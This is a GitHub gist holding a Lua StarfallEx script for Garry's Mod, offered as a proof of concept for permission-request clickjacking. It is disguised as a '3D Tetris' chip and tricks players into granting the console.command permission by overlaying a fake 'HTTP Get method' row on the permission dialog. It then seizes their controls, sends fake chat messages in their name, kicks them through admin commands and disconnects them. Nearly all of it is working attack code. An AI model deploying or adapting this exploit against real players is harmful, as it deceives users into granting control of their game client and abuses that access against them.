Skip to content

Instantly share code, notes, and snippets.

@x4fx77x4f
Last active April 9, 2021 22:25
Show Gist options
  • Save x4fx77x4f/3bcfa9cf74b030ccbeeaf6946920515f to your computer and use it in GitHub Desktop.
Save x4fx77x4f/3bcfa9cf74b030ccbeeaf6946920515f to your computer and use it in GitHub Desktop.
Proof of concept for permission request clickjacking in StarfallEx
--@name 3D Tetris
--@author Sparky
--@client
-- Proof of concept for permission request clickjacking in StarfallEx.
-- Usage: Give the chip an interesting name, put a HUD next to it,
-- hook the HUD up to it, convince people to activate the HUD, laugh.
-- redressing
-- https://github.com/thegrb93/StarfallEx/blob/master/lua/starfall/editor/sfderma.lua
local SF_PermissionName = render.createFont('Roboto', 20)
local SF_PermissionDesc = render.createFont('Roboto', 18)
render.createRenderTarget('cache')
local u, v = 604/1024, 49/1024
hook.add('renderoffscreen', 'init', function()
render.selectRenderTarget('cache')
--render.setRGBA(31, 36, 50, 255)
render.setRGBA(36, 41, 55, 255) -- what the fuck???
render.drawRect(0, 0, 604, 49)
render.setRGBA(255, 255, 255, 255)
render.setFont(SF_PermissionName)
render.drawSimpleText(5, 4, "HTTP Get method")
render.setRGBA(173, 213, 247, 255)
render.setFont(SF_PermissionDesc)
render.drawSimpleText(10, 27, "Allows the user to request html data")
hook.remove('renderoffscreen', 'init')
end)
local triggertime
hook.add('postdrawhud', 'redressing', function()
if not triggertime then
return
end
local sw, sh = render.getResolution()
local w, h = 640 -- h is 302 on windows, 303 on linux
local now = timer.systime()
local stage = math.floor((now-triggertime)/(1/120))
if stage == 0 then
return
elseif stage == 1 then
h = 295
elseif stage == 2 then
h = 300
elseif stage == 3 then
h = 302
else
h = 303
end
local x, y = math.ceil((sw-w)/2), math.ceil((sh-h)/2) -- 1 pixel diff shouldnt matter
render.setFilterMag(TEXFILTER.POINT) -- https://github.com/Facepunch/garrysmod-issues/issues/3988
render.setRenderTargetTexture('cache')
render.drawTexturedRectUVFast(x+31, y+170, 604, 49, 0, 0, u, v, true)
end)
-- trigger
local curang
hook.add('hudconnected', 'trigger', function()
setupPermissionRequest({'console.command'}, "Needed to download content", false)
local success = pcall(sendPermissionRequest)
if not success then
return
end
triggertime = timer.systime()
curang = eyeAngles()
end)
hook.add('huddisconnected', 'conceal', function()
triggertime = nil
end)
hook.add('think', 'conceal', function()
if triggertime and timer.systime() >= triggertime+0.5 and eyeAngles() ~= curang then
triggertime = nil
end
end)
if render.isHUDActive() then
hook.run('hudconnected')
end
-- payload
local pwned = false
hook.add('permissionrequest', 'payload', function()
triggertime = nil
if not hasPermission('console.command') then
return
end
pwned = true
timer.simple(5, function()
pwned = false
concmd('-duck')
concmd('-jump')
concmd('cl_yawspeed 210')
concmd('-left')
concmd('-right')
print("You just fell into my trap! This payload wasn't destructive, but it could have been.")
local reason = "You just fell into my trap! Check console for details"
concmd('ulx kick ^ "'..reason..'"')
concmd('iam kick '..player():getSteamID()..' "'..reason..'"') -- for IJWTB (untested)
timer.simple(0, function()
concmd('disconnect')
end)
end)
timer.simple(0.125, function()
concmd('cl_yawspeed 1000')
concmd('+duck')
concmd('+jump')
end)
timer.create('babyrightround', 0.125, 40, function()
local rand = math.random(0, 2)
if rand == 0 then
concmd('+left')
concmd('-right')
--[[
elseif rand == 1 then
concmd('-left')
concmd('-right')
--]]
else
concmd('-left')
concmd('+right')
end
end)
-- chat messages may appear to be from Console if
-- the player is kicked before their message goes through,
-- so we use a timer.
local attract = {
"ooh this is pretty cool",
"this is cool",
"damn ${NAME} how'd you do this?",
"that's pretty sick",
"impressive starfall, ${NAME}",
"holy shit this is awesome",
"did you make this ${NAME}?",
"is this e2??",
}
local name = string.lower(string.gsub(owner():getName(), '[^\x20-\x7e]', ""))
if player() ~= owner() then
timer.simple(0, function()
concmd('say "'..string.gsub(table.random(attract), '${NAME}', name)..'"')
end)
end
end)
local pwned1 = "Clickjacking POC"
local pwned1f = render.createFont('DejaVu Sans Mono', 60)
local pwned2 = "x4fx77x4f"
local pwned2f = render.createFont('DejaVu Sans Mono', 30)
hook.add('drawhud', 'payload', function()
if not pwned then
return
end
local sw, sh = render.getResolution()
local x, y = sw/2, sh/2
render.setFont(pwned1f)
render.setRGBA(0, 0, 0, 255)
render.drawSimpleText(x+1, y+1, pwned1, 1, 1)
render.setColor(Color(timer.systime()*100, 0.7, 1):hsvToRGB())
render.drawSimpleText(x, y, pwned1, 1, 1)
render.setFont(pwned2f)
render.setRGBA(0, 0, 0, 255)
render.drawSimpleText(x+1, y+60+1, pwned2, 1, 1)
render.setRGBA(255, 191, 255, 255)
render.drawSimpleText(x, y+60, pwned2, 1, 1)
end)
if hasPermission('console.command') then
print("You already have console.command enabled! Turn it off!")
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment